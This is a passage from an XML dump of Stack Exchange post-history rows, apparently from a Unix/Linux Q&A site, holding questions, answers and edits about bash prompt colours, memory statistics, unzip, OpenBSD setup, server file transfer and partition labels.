&quot;$color_prompt&quot; = yes ]; then&#xD;&#xA;        PS1='\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '&#xD;&#xA;    else&#xD;&#xA;        PS1='\u@\h:\w\$ '&#xD;&#xA;    fi&#xD;&#xA;    unset color_prompt force_color_prompt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additionally, you may want to check out this [&quot;How to change the title of an xterm&quot; FAQ][1] for other shells.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html" />
  <row Id="35336" PostHistoryTypeId="2" PostId="14118" RevisionGUID="49403199-b613-4099-86ad-8e472d542861" CreationDate="2011-05-31T21:44:44.343" UserId="885" Text="The `Mem: total` figure is the total amount of RAM that can be used by applications. This is the total RAM installed on the system, minus:&#xD;&#xA;&#xD;&#xA;* memory reserved by hardware devices (often video memory if the graphics card doesn't have its own RAM);&#xD;&#xA;* memory used by the kernel itself.&#xD;&#xA;&#xD;&#xA;That total includes:&#xD;&#xA;&#xD;&#xA;* `free`: memory that is currently used for any purpose;&#xD;&#xA;* `shared`: a concept that no longer exists. It's left in the output for backward compatibility (there are scripts that parse the output from `free`).&#xD;&#xA;* `buffers`: memory that is backed by files, and that can be written out to disk if needed;&#xD;&#xA;* `cache`: memory that is backed by files, and that can be reclaimed at any time (the difference with `buffers` is that buffers must be saved to disk before they're reused, whereas cache consists of things that can be reloaded from disk);&#xD;&#xA;* `used -buffers/cache`: memory used by applications (and not paged out to swap).&#xD;&#xA;&#xD;&#xA;In a pinch, the system could run without buffers and cache, reserving RAM for applications and systematically performing disk reads and writes without any caching. The `-/+ buffers/cache` figures indicate the amount of RAM used directly by applications (`used` column) and the amount of RAM not used by applications (`free` column).&#xD;&#xA;&#xD;&#xA;Although this can vary a lot, a healthy system typically has around half its RAM devoted to applications and half devoted to buffers and cache. Unless you're running a dedicated file server, your system has more RAM than it needs for what you're currently doing. If the `free - buffers/cache` figure was low, that would indicate a system that doesn't have enough RAM (contrary to a widespread belief, having a lot of memory devoted to buffers and cache is important for system performance, and trying to reserve more memory for applications would make 99.99% of systems slower).&#xD;&#xA;&#xD;&#xA;The `swap` line is straightforward, it shows the amount of swap that's in use (either by applications or for `tmpfs` storage), and the amount that isn't.&#xD;&#xA;" />
  <row Id="35338" PostHistoryTypeId="6" PostId="10988" RevisionGUID="b7cfd4ca-dea4-46eb-8976-dc586116e494" CreationDate="2011-05-31T21:48:34.983" UserId="885" Comment="edited tags" Text="écommandölineàésshàépromptà" />
  <row Id="35339" PostHistoryTypeId="6" PostId="14099" RevisionGUID="48f056b2-b7aa-4b80-86ce-998f04290007" CreationDate="2011-05-31T21:53:10.867" UserId="885" Comment="edited tags" Text="élinuxàédirectoryàéfilenamesà" />
  <row Id="35340" PostHistoryTypeId="5" PostId="14115" RevisionGUID="73baa6f5-2231-4529-9376-00390cf963aa" CreationDate="2011-05-31T21:55:24.587" UserId="7688" Comment="Add &quot;prompt magic&quot; tip for escape sequence reference" Text="Yes.  Here's an example for bash that should be distro-agnostic:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # uncomment for a colored prompt, if the terminal has the capability; turned&#xD;&#xA;    # off by default to not distract the user: the focus in a terminal window&#xD;&#xA;    # should be on the output of commands, not on the prompt&#xD;&#xA;    force_color_prompt=yes&#xD;&#xA;    &#xD;&#xA;    if [ -n &quot;$force_color_prompt&quot; ]; then&#xD;&#xA;    	if [ -x /usr/bin/tput ] &amp;&amp; tput setaf 1 &gt;&amp;/dev/null; then&#xD;&#xA;    		# We have color support; assume it's compliant with Ecma-48&#xD;&#xA;    		# (ISO/IEC-6429). (Lack of such support is extremely rare, and such&#xD;&#xA;    		# a case would tend to support setf rather than setaf.)&#xD;&#xA;    		color_prompt=yes&#xD;&#xA;    	else&#xD;&#xA;    		color_prompt=&#xD;&#xA;    	fi&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [ &quot;$color_prompt&quot; = yes ]; then&#xD;&#xA;    	PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\W\[\033[00m\]\$ '&#xD;&#xA;    else&#xD;&#xA;    	PS1='\u@\h:\W\$ '&#xD;&#xA;    fi&#xD;&#xA;    unset color_prompt force_color_prompt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additionally, you may want to check out:&#xD;&#xA;&#xD;&#xA; - this [&quot;How to change the title of an xterm&quot; FAQ][1] for other shells&#xD;&#xA; - this [&quot;Prompt Magic&quot; tip][2] for a good reference of the escape sequences that work in bash.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html&#xD;&#xA;[2]: http://www.ibm.com/developerworks/linux/library/l-tip-prompt/" />
  <row Id="35341" PostHistoryTypeId="5" PostId="14115" RevisionGUID="611bdc1a-9aa2-4dc0-8d0e-9e91c5c811a1" CreationDate="2011-05-31T22:01:14.383" UserId="7688" Comment="Add ANSI sequence link" Text="Yes.  Here's an example for bash that should be distro-agnostic:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # uncomment for a colored prompt, if the terminal has the capability; turned&#xD;&#xA;    # off by default to not distract the user: the focus in a terminal window&#xD;&#xA;    # should be on the output of commands, not on the prompt&#xD;&#xA;    force_color_prompt=yes&#xD;&#xA;    &#xD;&#xA;    if [ -n &quot;$force_color_prompt&quot; ]; then&#xD;&#xA;    	if [ -x /usr/bin/tput ] &amp;&amp; tput setaf 1 &gt;&amp;/dev/null; then&#xD;&#xA;    		# We have color support; assume it's compliant with Ecma-48&#xD;&#xA;    		# (ISO/IEC-6429). (Lack of such support is extremely rare, and such&#xD;&#xA;    		# a case would tend to support setf rather than setaf.)&#xD;&#xA;    		color_prompt=yes&#xD;&#xA;    	else&#xD;&#xA;    		color_prompt=&#xD;&#xA;    	fi&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [ &quot;$color_prompt&quot; = yes ]; then&#xD;&#xA;    	PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\W\[\033[00m\]\$ '&#xD;&#xA;    else&#xD;&#xA;    	PS1='\u@\h:\W\$ '&#xD;&#xA;    fi&#xD;&#xA;    unset color_prompt force_color_prompt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additionally, you may want to check out:&#xD;&#xA;&#xD;&#xA; - this [&quot;How to change the title of an xterm&quot; FAQ][1] for other shells&#xD;&#xA; - this [&quot;Prompt Magic&quot; tip][2] for a good reference of the escape sequences that work in bash.&#xD;&#xA; - this [Bash Prompt HOWTO][3] for a reference on ANSI Color escape sequences.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html&#xD;&#xA;[2]: http://www.ibm.com/developerworks/linux/library/l-tip-prompt/&#xD;&#xA;[3]: http://tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html" />
  <row Id="35342" PostHistoryTypeId="5" PostId="14115" RevisionGUID="6253c0d4-3b3e-411b-87fa-0e20f96daf36" CreationDate="2011-05-31T22:12:26.780" UserId="7688" Comment="Force titlebar change  with \[\e]2;__TITLE__\a  sequence" Text="Yes.  Here's an example for bash that should be distro-agnostic:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # uncomment for a colored prompt, if the terminal has the capability; turned&#xD;&#xA;    # off by default to not distract the user: the focus in a terminal window&#xD;&#xA;    # should be on the output of commands, not on the prompt&#xD;&#xA;    force_color_prompt=yes&#xD;&#xA;    &#xD;&#xA;    if [ -n &quot;$force_color_prompt&quot; ]; then&#xD;&#xA;    	if [ -x /usr/bin/tput ] &amp;&amp; tput setaf 1 &gt;&amp;/dev/null; then&#xD;&#xA;    		# We have color support; assume it's compliant with Ecma-48&#xD;&#xA;    		# (ISO/IEC-6429). (Lack of such support is extremely rare, and such&#xD;&#xA;    		# a case would tend to support setf rather than setaf.)&#xD;&#xA;    		color_prompt=yes&#xD;&#xA;    	else&#xD;&#xA;    		color_prompt=&#xD;&#xA;    	fi&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [ &quot;$color_prompt&quot; = yes ]; then&#xD;&#xA;    	PS1='\[\e]2;\u@\h\a\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\W\[\033[00m\]\$ '&#xD;&#xA;    else&#xD;&#xA;    	PS1='\[\e]2;\u@\h\a\u@\h:\W\$ '&#xD;&#xA;    fi&#xD;&#xA;    unset color_prompt force_color_prompt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additionally, you may want to check out:&#xD;&#xA;&#xD;&#xA; - this [&quot;How to change the title of an xterm&quot; FAQ][1] for other shells&#xD;&#xA; - this [&quot;Prompt Magic&quot; tip][2] for a good reference of the escape sequences that work in bash.&#xD;&#xA; - this [Bash Prompt HOWTO][3] for a reference on ANSI Color escape sequences.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html&#xD;&#xA;[2]: http://www.ibm.com/developerworks/linux/library/l-tip-prompt/&#xD;&#xA;[3]: http://tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html" />
  <row Id="35343" PostHistoryTypeId="5" PostId="13925" RevisionGUID="83e980ee-82c2-4e3c-9779-ea666bc21237" CreationDate="2011-05-31T22:24:02.327" UserId="591" Comment="Added info on editing the Makefile" Text="If you know it's in `/usr/include/glib-1.2` then you should be able to add `-I/usr/include/glib-1.2` to the 'INCLUDE' definition in your Makefile.  I don't have the package or it's source so I can't be any less vague than that.&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;&#xD;&#xA;I just downloaded the package you indicated above. Go to `src/server` and add `-I/usr/include/glib-1.2` to the line `DEFAULT_INCLUDES =-I. -I$(srcdir) -I$(top_builddir)/src`&#xD;&#xA;&#xD;&#xA;    DEFAULT_INCLUDES =-I. -I$(srcdir) -I$(top_builddir)/src -I/usr/include/glib-1.2&#xD;&#xA;&#xD;&#xA;If you look just below that line you'll see&#xD;&#xA;&#xD;&#xA;    COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \&#xD;&#xA;              $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)&#xD;&#xA;&#xD;&#xA;which is the line I was referring to in my comment below." />
  <row Id="35344" PostHistoryTypeId="5" PostId="14115" RevisionGUID="ad534685-2427-4a32-b65f-36928b25fd23" CreationDate="2011-05-31T22:35:31.167" UserId="7688" Comment="Add notes about Konsole settings, and separate titlebar escape sequence from PS1" Text="Yes.  Here's an example for bash using PS1 that should be distro-agnostic:&#xD;&#xA;&#xD;&#xA;Specifically, the escape sequence `\[\e]0;__SOME_STUFF_HERE__\a\]` is of interest.  I've edited this to be set in a separate variable for more clarity.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # uncomment for a colored prompt, if the terminal has the capability; turned&#xD;&#xA;    # off by default to not distract the user: the focus in a terminal window&#xD;&#xA;    # should be on the output of commands, not on the prompt&#xD;&#xA;    force_color_prompt=yes&#xD;&#xA;    &#xD;&#xA;    if [ -n &quot;$force_color_prompt&quot; ]; then&#xD;&#xA;    	if [ -x /usr/bin/tput ] &amp;&amp; tput setaf 1 &gt;&amp;/dev/null; then&#xD;&#xA;    		# We have color support; assume it's compliant with Ecma-48&#xD;&#xA;    		# (ISO/IEC-6429). (Lack of such support is extremely rare, and such&#xD;&#xA;    		# a case would tend to support setf rather than setaf.)&#xD;&#xA;    		color_prompt=yes&#xD;&#xA;    	else&#xD;&#xA;    		color_prompt=&#xD;&#xA;    	fi&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    TITLEBAR='\[\e]0;\u@\h\a\]'&#xD;&#xA;    &#xD;&#xA;    if [ &quot;$color_prompt&quot; = yes ]; then&#xD;&#xA;    	PS1=&quot;${TITLEBAR}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\W\[\033[00m\]\$ &quot;&#xD;&#xA;    else&#xD;&#xA;    	PS1=&quot;${TITLEBAR}\u@\h:\W\$ &quot;&#xD;&#xA;    fi&#xD;&#xA;    unset color_prompt force_color_prompt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also note that there can be many ways of setting an xterm's title, depending on which terminal program you are using, and which shell.  For example, if you're using KDE's Konsole, you can override the title setting by going to `Settings`-&gt;`Configure Profiles`-&gt;`Edit Profile`-&gt;`Tabs` and setting the `Tab title format` and `Remote tab title format` settings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![Konsole titlebar settings dialog][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additionally, you may want to check out:&#xD;&#xA;&#xD;&#xA; - this [&quot;How to change the title of an xterm&quot; FAQ][2] for other shells&#xD;&#xA; - this [&quot;Prompt Magic&quot; tip][3] for a good reference of the escape sequences that work in bash.&#xD;&#xA; - this [Bash Prompt HOWTO][4] for a reference on ANSI Color escape sequences.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/rlOhz.png&#xD;&#xA;  [2]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html&#xD;&#xA;  [3]: http://www.ibm.com/developerworks/linux/library/l-tip-prompt/&#xD;&#xA;  [4]: http://tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html" />
  <row Id="35345" PostHistoryTypeId="5" PostId="13925" RevisionGUID="f51d8f82-91e2-4c45-850e-39a5376a61df" CreationDate="2011-05-31T22:45:36.157" UserId="591" Comment="added 91 characters in body" Text="If you know it's in `/usr/include/glib-1.2` then you should be able to add `-I/usr/include/glib-1.2` to the 'INCLUDE' definition in your Makefile.  I don't have the package or it's source so I can't be any less vague than that.&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;&#xD;&#xA;I just downloaded the package you indicated above. Go to `src/server` and add `-I/usr/include/glib-1.2` to the line `DEFAULT_INCLUDES =-I. -I$(srcdir) -I$(top_builddir)/src`&#xD;&#xA;&#xD;&#xA;    DEFAULT_INCLUDES =-I. -I$(srcdir) -I$(top_builddir)/src -I/usr/include/glib-1.2&#xD;&#xA;&#xD;&#xA;If you look just below that line you'll see&#xD;&#xA;&#xD;&#xA;    COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \&#xD;&#xA;              $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)&#xD;&#xA;&#xD;&#xA;which is the line I was referring to in my comment below.&#xD;&#xA;&#xD;&#xA;EDIT EDIT&#xD;&#xA;&#xD;&#xA;Or more nicely&#xD;&#xA;&#xD;&#xA;    ./configure --with-cpp-flags=-I/usr/include/glib-1.2" />
  <row Id="35346" PostHistoryTypeId="2" PostId="14119" RevisionGUID="bf998999-6f79-49aa-8e08-2a78c1c7e98c" CreationDate="2011-05-31T22:51:35.263" UserId="7086" Text="What other common or semi-common or simply not super-rare *nixes are there in desktop use aside from distros of Linux, various BSDs, and Mac OS X?" />
  <row Id="35347" PostHistoryTypeId="1" PostId="14119" RevisionGUID="bf998999-6f79-49aa-8e08-2a78c1c7e98c" CreationDate="2011-05-31T22:51:35.263" UserId="7086" Text="What is a good desktop desktop *nix aside from Linux, *BSD, and OS X?" />
  <row Id="35348" PostHistoryTypeId="3" PostId="14119" RevisionGUID="bf998999-6f79-49aa-8e08-2a78c1c7e98c" CreationDate="2011-05-31T22:51:35.263" UserId="7086" Text="éalternativesà" />
  <row Id="35349" PostHistoryTypeId="6" PostId="13496" RevisionGUID="b10b1082-803f-4a58-86d7-fad946458c25" CreationDate="2011-05-31T23:14:25.727" UserId="885" Comment="edited tags" Text="écommandölineàésoftwareörecàéfindàéutilitiesà" />
  <row Id="35350" PostHistoryTypeId="2" PostId="14120" RevisionGUID="ee18051e-0a34-4847-82b7-1933b8745736" CreationDate="2011-05-31T23:14:38.877" UserId="5614" Text="I need to pull a single file from a ZIP file which I know the path to. Is there a command like the following:&#xD;&#xA;&#xD;&#xA;   unzip -d . myarchive.zip path/to/zipped/file.txt&#xD;&#xA;&#xD;&#xA;Unfortunately, the above command extracts and recreates the entire path to the file at `./path/to/zipped/file.txt`. Is there a way for me to simply pull the file out into a specified directory? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35351" PostHistoryTypeId="1" PostId="14120" RevisionGUID="ee18051e-0a34-4847-82b7-1933b8745736" CreationDate="2011-05-31T23:14:38.877" UserId="5614" Text="Extract only a specific file from a zipped archive to a given directory" />
  <row Id="35352" PostHistoryTypeId="3" PostId="14120" RevisionGUID="ee18051e-0a34-4847-82b7-1933b8745736" CreationDate="2011-05-31T23:14:38.877" UserId="5614" Text="ézipà" />
  <row Id="35353" PostHistoryTypeId="6" PostId="12275" RevisionGUID="061aafe0-efd8-476c-a4c6-06799935ddee" CreationDate="2011-05-31T23:14:48.940" UserId="885" Comment="edited tags" Text="élinuxàétouchpadàéhardwareörecà" />
  <row Id="35354" PostHistoryTypeId="6" PostId="14119" RevisionGUID="8edb6584-b6ed-4816-b3c5-eb8e558bf1f1" CreationDate="2011-05-31T23:15:32.590" UserId="885" Comment="edited tags" Text="édistributionöchoiceà" />
  <row Id="35355" PostHistoryTypeId="2" PostId="14121" RevisionGUID="9104bb28-d23e-4273-8ab3-147d3901f814" CreationDate="2011-05-31T23:18:29.300" UserId="298" Text="The generally accepted practice for installing onto a flash device is the same as installing onto any other disk.  The entire OpenBSD base system will readily fit in 1GB of space.  It will likely be harder to find a flash device that small than to get OpenBSD isntalled on it.  &#xD;&#xA;&#xD;&#xA;As far as turning off logging, don't worry about it, just let them be written to your flash card, it is not likely to kill the card.  Alternatively, send your logs to a remote host, or mount /var onto a different filesystem.  &#xD;&#xA;&#xD;&#xA;Also, when you boot, the OS is loaded into memory for you... no extra tweaking required.  &#xD;&#xA;&#xD;&#xA;There are official FAQ's on this:  &#xD;&#xA;http://www.openbsd.org/faq/faq14.html#flashmem&#xD;&#xA;&#xD;&#xA;Also, on the topic of boot disk encryption, a recent article on undeadly points out that it is possible:  http://undeadly.org/cgi?action=article&amp;sid=20110530221728&#xD;&#xA;&#xD;&#xA;Though, I would imagine, at the moment that procedure is not officially supported by OpenBSD.  " />
  <row Id="35356" PostHistoryTypeId="2" PostId="14122" RevisionGUID="2915058f-7149-4d69-96fd-88d823a3ecc1" CreationDate="2011-05-31T23:23:34.217" UserId="885" Comment="deleted 2 characters in body" Text="*This tag is about the alternatives system in some package managers. If you're looking for alternatives to a particular piece of software, use [tag:software-rec] combined with one or more relevant tags for the software's purpose, and be sure to explain what features you want from that software.*&#xD;&#xA;&#xD;&#xA;The [Debian alternatives system](http://wiki.debian.org/DebianAlternatives) (also used by other distributions such as [Fedora](http://fedoraproject.org/wiki/Packaging:Alternatives)) allows several programs with similar roles to be installed. Each program has a priority, and the highest-priority program is used by default, but the system administrator can override that choice.&#xD;&#xA;" />
  <row Id="35357" PostHistoryTypeId="2" PostId="14123" RevisionGUID="654dc5cd-50e2-473d-b63c-7692164ea4bc" CreationDate="2011-05-31T23:23:34.217" UserId="885" Text="in some distributions, a way for the system administrator to choose between similar programs" />
  <row Id="35358" PostHistoryTypeId="2" PostId="14124" RevisionGUID="40ef50b8-9768-429c-9235-ea0152b15c7c" CreationDate="2011-05-31T23:34:06.233" UserId="298" Text="For OpenBSD, I have found their documentation on setting up a DHCP server covers all the basics:  http://www.openbsd.org/faq/faq6.html#DHCP  &#xD;&#xA;Following the instructions there (enable a setting in your config, and edit the dhcpd configuration file to specify which interface to listen on) will get you all setup to server DHCP on your local network.  &#xD;&#xA;&#xD;&#xA;Effectively, as of 4.9 you need to set the value dhcpd_flags=&quot;&quot; in your rc.conf.local, and then modify your /etc/dhcpd.conf file to match the parameters of your network.  I highly recommend you read the link as it goes into more detail, and if you ask for help on an OpenBSD mailing list, they will expect you to have read it.&#xD;&#xA;&#xD;&#xA;As far as DNS goes, I have found that the [unbound][1] DNS server that is available as a package is much easier to setup than Bind, especially if you just want to have a caching name server for your local network.  There is an unofficial [guide][2] available.  Once you install the server, you have to make some modifications to the config file.  The guide explains all the needed changes, and I found it very easy to follow. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unbound.net/&#xD;&#xA;  [2]: http://blather.michaelwlucas.com/archives/580" />
  <row Id="35359" PostHistoryTypeId="2" PostId="14125" RevisionGUID="9bae777d-b633-40bd-b0e0-6517aebe477c" CreationDate="2011-05-31T23:43:19.697" UserId="885" Text="You can extract just the text to standard output with the `-p` option:&#xD;&#xA;&#xD;&#xA;    unzip -p myarchive.zip path/to/zipped/file.txt &gt;file.txt&#xD;&#xA;&#xD;&#xA;This won't extract the metadata (date, permissions, …), only the file contents. That's the price to pay for the convenience of not having to move the file afterwards.&#xD;&#xA;&#xD;&#xA;Alternatively, mount the archive as a directory and just copy the file. With [AVFS](http://avf.sourceforge.net/):&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    cp -p ~/.avfs&quot;$PWD/myarchive.zip#&quot;/path/to/zipped/file.txt .&#xD;&#xA;&#xD;&#xA;Or with [fuse-zip](http://code.google.com/p/fuse-zip):&#xD;&#xA;&#xD;&#xA;    mkdir myarchive.d&#xD;&#xA;    fuse-zip myarchive.zip myarchive.d&#xD;&#xA;    cp -p myarchive.d/path/to/zipped/file.txt .&#xD;&#xA;    fusermount -u myarchive.d; rmdir myarchive.d&#xD;&#xA;" />
  <row Id="35425" PostHistoryTypeId="2" PostId="14150" RevisionGUID="1fe82c61-d105-4d2b-bfb9-a2c9c21cddfd" CreationDate="2011-01-11T07:47:13.903" UserDisplayName="Woho87" Text="How do I connect to a remote server with a public key using fugu? I'm using amazon ec2, so I have a ******.pem public key. But I'm totally new to fugu. I can't see any form or input for the public key. &#xD;&#xA;&#xD;&#xA;In the &quot;connect to&quot; text input shall i prompt in my public DNS?" />
  <row Id="35426" PostHistoryTypeId="1" PostId="14150" RevisionGUID="1fe82c61-d105-4d2b-bfb9-a2c9c21cddfd" CreationDate="2011-01-11T07:47:13.903" UserDisplayName="Woho87" Text="Connect fugu with public key?" />
  <row Id="35427" PostHistoryTypeId="3" PostId="14150" RevisionGUID="1fe82c61-d105-4d2b-bfb9-a2c9c21cddfd" CreationDate="2011-01-11T07:47:13.903" UserDisplayName="Woho87" Text="ésshàéamazonöec2àésftpàéscpà" />
  <row Id="35431" PostHistoryTypeId="2" PostId="14152" RevisionGUID="7349737d-d3e0-4931-a5be-a9be7074ffb7" CreationDate="2011-01-21T15:34:49.877" UserDisplayName="kvista" Text="If you have SSH access to server1 from server2, it seems simplest to scp them onto server2 from server1.  Alternatively, you can set up a file serving mechanism like FTP or HTTP(S) server on server1 and transfer them that way using curl etc on server2.  &#xD;&#xA;" />
  <row Id="35432" PostHistoryTypeId="2" PostId="14153" RevisionGUID="a3ab26b2-a5ab-4559-8f76-226d673f549e" CreationDate="2011-01-21T15:35:19.600" UserId="2210" Text="You could run rsync over ssh.  Set up ssh keys so you can do it non-interactively (i.e. avoid having to use a password).  Use cron to schedule it.&#xD;&#xA;&#xD;&#xA;Check out this article.  http://www.askapache.com/security/mirror-using-rsync-ssh.html" />
  <row Id="35433" PostHistoryTypeId="2" PostId="14151" RevisionGUID="bc3825b1-42d2-43f3-b588-b696bf9dc6f8" CreationDate="2011-01-21T15:25:59.887" UserDisplayName="hombre" Text="A puzzle: files being uploaded in realtime by SCP to SERVER1 need to be transfered to SERVER2.&#xD;&#xA;&#xD;&#xA;But:&#xD;&#xA; &#xD;&#xA; - SERVER1 doesn't actually have network access to SERVER2 (NAT), however SERVER2 has SSH access to SERVER1&#xD;&#xA; - SERVER1 and SERVER2 both are running Linux&#xD;&#xA; - SERVER2 has FTP server running, can ran HTTP server to receive files, &#xD;&#xA; - SFTP server on SERVER2 is not an option&#xD;&#xA; - Files transfered to SERVER2 need to be deleted from SERVER1 on successful transfer&#xD;&#xA;&#xD;&#xA;Preference is to use running FTP server on SERVER2&#xD;&#xA;&#xD;&#xA;Any ideas on simple ways to transfer files from SERVER1 to SERVER2?&#xD;&#xA;&#xD;&#xA;ps. FTP over reverse SSH tunnel was ruled out, curl would probably work over reverse SSH tunnel with HTTP server running on SERVER2 but it requires HTTP server which is more work." />
  <row Id="35434" PostHistoryTypeId="1" PostId="14151" RevisionGUID="bc3825b1-42d2-43f3-b588-b696bf9dc6f8" CreationDate="2011-01-21T15:25:59.887" UserDisplayName="hombre" Text="Puzzle: transfering files between two servers (ssh, ftp, http multipart...)" />
  <row Id="35435" PostHistoryTypeId="3" PostId="14151" RevisionGUID="bc3825b1-42d2-43f3-b588-b696bf9dc6f8" CreationDate="2011-01-21T15:25:59.887" UserDisplayName="hombre" Text="écurlàéftpàésshàésftpàéscpà" />
  <row Id="35463" PostHistoryTypeId="2" PostId="14164" RevisionGUID="95ebd485-ce06-47c2-9f19-0c7c063fbd97" CreationDate="2011-05-30T07:28:40.533" UserId="5415" Text="I have a USB modem connection and want to share this with other PC's in network. When I did that, it's assigning 10.x.x.x ip address to shared systems. How can I assign IP manually to them?" />
  <row Id="35464" PostHistoryTypeId="1" PostId="14164" RevisionGUID="95ebd485-ce06-47c2-9f19-0c7c063fbd97" CreationDate="2011-05-30T07:28:40.533" UserId="5415" Text="Shared Network Configuration in Fedora 15" />
  <row Id="35465" PostHistoryTypeId="3" PostId="14164" RevisionGUID="95ebd485-ce06-47c2-9f19-0c7c063fbd97" CreationDate="2011-05-30T07:28:40.533" UserId="5415" Text="éfedoraà" />
  <row Id="35470" PostHistoryTypeId="2" PostId="14166" RevisionGUID="74b1562e-5353-4913-903d-7665fdee06b3" CreationDate="2011-03-30T06:37:42.087" UserDisplayName="Ilkka" Text="With udev, there's `/dev/disk/by-label` that has symlinks by label to at least *some* partition device nodes.&#xD;&#xA;&#xD;&#xA;Not sure what the logic of inclusion is, possibly the existence of a label." />
  <row Id="35471" PostHistoryTypeId="2" PostId="14167" RevisionGUID="c185fbb3-ad77-45d6-bc79-4038b7c55d86" CreationDate="2011-03-30T06:40:43.443" UserDisplayName="Alan Kuras" Text="Try to use mount -l, it work's fine for me." />
  <row Id="35473" PostHistoryTypeId="2" PostId="14165" RevisionGUID="b548494d-80b8-4a10-80ca-7650c13b3867" CreationDate="2011-03-30T06:31:25.707" UserDisplayName="sdaau" Text="Hi all, &#xD;&#xA;&#xD;&#xA;Is there a command line that will list all partitions along with their labels? `sudo fdisk -l` and `sudo parted -l` don't show labels by default...&#xD;&#xA;&#xD;&#xA;EDIT: (as per comment below) I'm assuming I'm talking about ext2 labels - those that you can set in `gparted` upon partitioning...&#xD;&#xA;&#xD;&#xA;EDIT2: The intent is to list _unmounted_ partitions (so I know which one to mount)... &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Cheers!&#xD;&#xA;" />
  <row Id="35474" PostHistoryTypeId="1" PostId="14165" RevisionGUID="b548494d-80b8-4a10-80ca-7650c13b3867" CreationDate="2011-03-30T06:31:25.707" UserDisplayName="sdaau" Text="Linux: list partition labels (command line)?" />
  <row Id="35475" PostHistoryTypeId="3" PostId="14165" RevisionGUID="b548494d-80b8-4a10-80ca-7650c13b3867" CreationDate="2011-03-30T06:31:25.707" UserDisplayName="sdaau" Text="élinuxàépartitionà" />
  <row Id="35479" PostHistoryTypeId="2" PostId="14169" RevisionGUID="68a47cf0-5367-4ba2-9d30-3a2a2d25640a" CreationDate="2011-05-27T11:05:27.950" UserId="4781" Text="I have a command that I run every time a new terminal is opened or a new login is made.&#xD;&#xA;&#xD;&#xA;This program produces output (colored) which should be positioned before the command prompt. It can take a few seconds to run which will prevent me from using the terminal until then (unless ran in background).&#xD;&#xA;&#xD;&#xA;Given than zsh has some advanced ways of redrawing the terminal without clobbering existing text, I would like to know how can I run this command in a way that I don't have to wait for it to finish before I can use the terminal but that once it finishes it prints the output as if it was not backgrounded in the first place.&#xD;&#xA;&#xD;&#xA;In practice I would like something that could do:&#xD;&#xA;&#xD;&#xA;    Command output:&#xD;&#xA;    ... (running on background)&#xD;&#xA;    me@computer: somecommand&#xD;&#xA;    me@computer: someothercommand&#xD;&#xA;&#xD;&#xA;and once the command finishes I would get:&#xD;&#xA;&#xD;&#xA;    Command output:&#xD;&#xA;     * Output foo&#xD;&#xA;     * Multiple lines bar&#xD;&#xA;     * and some yada&#xD;&#xA;    me@computer: somecommand&#xD;&#xA;    me@computer: someothercommand&#xD;&#xA;&#xD;&#xA;I tried putting the process in background at start but then it does not display the output cleanly. I get something like:&#xD;&#xA;&#xD;&#xA;    Command output:&#xD;&#xA;    [2] 32207&#xD;&#xA;    me@computer: somecommand&#xD;&#xA;    me@computer: someother * Output foo&#xD;&#xA;     * Multiple lines bar&#xD;&#xA;     * and some yada&#xD;&#xA;    [2]  + done       command&#xD;&#xA;    me@computer: someothercommand&#xD;&#xA;&#xD;&#xA;So, is this possible? If not with zsh is there any solution out there that could do it?&#xD;&#xA;&#xD;&#xA;Any pointers or information is welcome." />
  <row Id="35480" PostHistoryTypeId="1" PostId="14169" RevisionGUID="68a47cf0-5367-4ba2-9d30-3a2a2d25640a" CreationDate="2011-05-27T11:05:27.950" UserId="4781" Text="Displaying stdout of a background process in specific location of the terminal" />
  <row Id="35481" PostHistoryTypeId="3" PostId="14169" RevisionGUID="68a47cf0-5367-4ba2-9d30-3a2a2d25640a" CreationDate="2011-05-27T11:05:27.950" UserId="4781" Text="éterminalàézshà" />
